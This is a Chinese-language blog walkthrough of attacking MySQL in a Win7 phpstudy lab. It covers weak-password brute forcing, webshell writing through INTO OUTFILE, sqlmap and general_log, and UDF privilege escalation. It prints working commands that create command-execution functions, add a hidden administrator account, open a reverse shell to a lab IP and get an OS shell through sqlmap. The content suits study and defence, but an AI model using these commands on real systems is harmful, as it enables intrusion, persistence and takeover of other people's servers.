环境搭建
win7的靶机(ip:192.168.153.132) + phpstudy搭建
将mysql设置为可以远程连接:
在mysql库中,有一个user表,通过
select host,user from user;
来查看登陆的host将root用户改为任意的ip都可以登陆
update user set host='%' where user='root';
获取权限
数据库操纵权限获取
mysql弱口令爆破
先使用nmap进行探测3306端口是否开放
nmap -sV 192.168.153.132
: -sV通过开放的端口探测服务信息
开放了3306端口
通过hydra爆破
通过msf爆破
- msfconsole
- search mysql
- use xxx
- show options
- set xx xx
- run
其他方法
通过sqlmap注入的–sql-shell模式
shell权限获取
写入shell需要具有写权限
into outfile
如果load_file()可用即secure_file_priv无限制,且具有写权限
secure_file_priv的值:
Value | 说明 |
---|---|
NULL | 不允许导入或导出 |
/tmp | 只允许在 /tmp 目录导入导出 |
空 | 不限制目录 |
在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件
如果满足上述所有条件的话,那么可以尝试使用下面原生的 SQL 语句来直接写 shell:
select '<?php phpinfo(); ?>' into outfile '/var/www/html/info.php';
sqlmap 中可以如下操作:
sqlmap -u "http://x.x.x.x/?id=x" --file-write="/Users/guang/Desktop/shell.php" --file-dest="/var/www/html/test/shell.php"
通过日志写shell
MySQL 5.0 版本以上会创建日志文件,可以通过修改日志的全局变量来 getshell
win7靶机有一个phpmyadmin目录
general_log
默认关闭,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中。
首先开启general_log:
set global general_log=’on’;
之后shell就成功写入了
提权
上面已经通过了日志写shell得到了shell权限,现在就需要提升权限了
UDF提权
UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数,它是用来拓展 MySQL的技术手段,可以说是数据库功能的一种扩展,用户通过自定义函数来实现在MySQL中无法方便 实现的功能,其添加的新函数都可以在SQL语句中调用,就像本机函数如ABS()或SOUNDEX()一样方便
手工提权
动态链接库
MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数
使用msf工具的动态链接库
放入plugin目录之后
创建命令执行函数
create function sys_eval returns string soname “lib_mysqludf_sys.dll”;
函数介绍:
sys_eval,执行任意命令,并将输出返回。
sys_exec,执行任意命令,并将退出码返回。(但是不会有回显)
sys_get,获取一个环境变量。
sys_set,创建或修改一个环境变量。 一般用于创建新用户维持权限
命令:
create function cmdshell returns string soname ‘moonudf.dll’ 【创建cmdshell】
select cmdshell(‘net user $darkmoon 123456 /add & net localgroup administrators $darkmoon /add’) 【添加超级管理员】
select cmdshell(‘net user’) 【查看用户】
select cmdshell(‘netstat -an’) 【查看端口】
select name from mysql.func 【查看创建函数】
delete from mysql.func where name=’cmdshell’ 【删除cmdshell】
create function backshell returns string soname ‘moonudf.dll’ 【创建反弹函数】
select backshell(‘192.168.157.130’,12345) 【执行反弹】
delete from mysql.func where name=’backshell’ 【删除backshell】
寻找plugin目录
如果不存在,在mysql目录下新建lib/plugin
文件夹
工具提权
暗月脚本
需要有plugin目录,和secure_file_priv=空,不为Null
MySQL 漏洞利用与提权 | 国光 (sqlsec.com)这里面也有一个工具
sqlmap提权
secure_file_priv需要为空,不能为null
sqlmap -d “mysql://root:root@192.168.153.132:3306/mysql” –os-shell
msf提权
适合5.5.9以下版本
- Post link: https://roboterh.github.io/2022/04/14/Mysql%E6%8F%90%E6%9D%83%E6%96%B9%E6%B3%95/
- Copyright Notice: All articles in this blog are licensed under unless otherwise stated.